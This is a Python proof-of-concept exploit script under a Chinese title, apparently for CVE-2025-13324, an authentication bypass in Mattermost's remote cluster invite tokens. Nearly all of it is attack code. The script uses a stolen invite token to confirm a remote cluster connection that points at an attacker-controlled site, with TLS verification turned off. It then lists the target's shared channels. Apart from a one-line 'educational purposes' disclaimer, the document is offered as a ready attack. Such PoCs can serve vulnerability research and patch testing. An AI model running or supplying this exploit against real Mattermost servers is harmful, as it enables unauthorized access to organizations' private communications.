CVE-2025-13324 Mattermost远程集群邀请令牌认证绕过漏洞

# CVE-2025-13324 PoC - Mattermost Remote Cluster Invite Token Authentication Bypass # Note: This PoC is for educational purposes only import requests import json import time TARGET_URL = "https://target-mattermost-server.com" ATTACKER_TOKEN = "<stolen_invite_token>" def check_vulnerability(): """Check if target Mattermost instance is vulnerable""" # Step 1: Attempt to establish remote cluster connection using old invite token session = requests.Session() headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json", "X-Version": "1" # Legacy protocol version } # Step 2: Try to confirm remote cluster connection with stale token confirm_payload = { "remote_cluster_name": "attacker_cluster", "site_url": "https://attacker-controlled-site.com", "shared_channels_enabled": True } response = session.post( f"{TARGET_URL}/api/v4/remote_clusters/confirm", headers=headers, json=confirm_payload, verify=False ) if response.status_code == 200: data = response.json() if "remote_cluster_id" in data: print("[+] VULNERABLE: Successfully bypassed token validation!") print(f"[+] Remote Cluster ID: {data['remote_cluster_id']}") return True print("[-] Target may not be vulnerable or token is invalid") return False def access_shared_channels(remote_cluster_id): """Access shared channels after successful bypass""" session = requests.Session() headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}" } # List shared channels channels_response = session.get( f"{TARGET_URL}/api/v4/channels?remote_cluster_id={remote_cluster_id}", headers=headers ) if channels_response.status_code == 200: channels = channels_response.json() print(f"[+] Found {len(channels)} shared channels") return channels return [] if __name__ == "__main__": print("CVE-2025-13324 Mattermost Authentication Bypass PoC") print("=" * 50) check_vulnerability()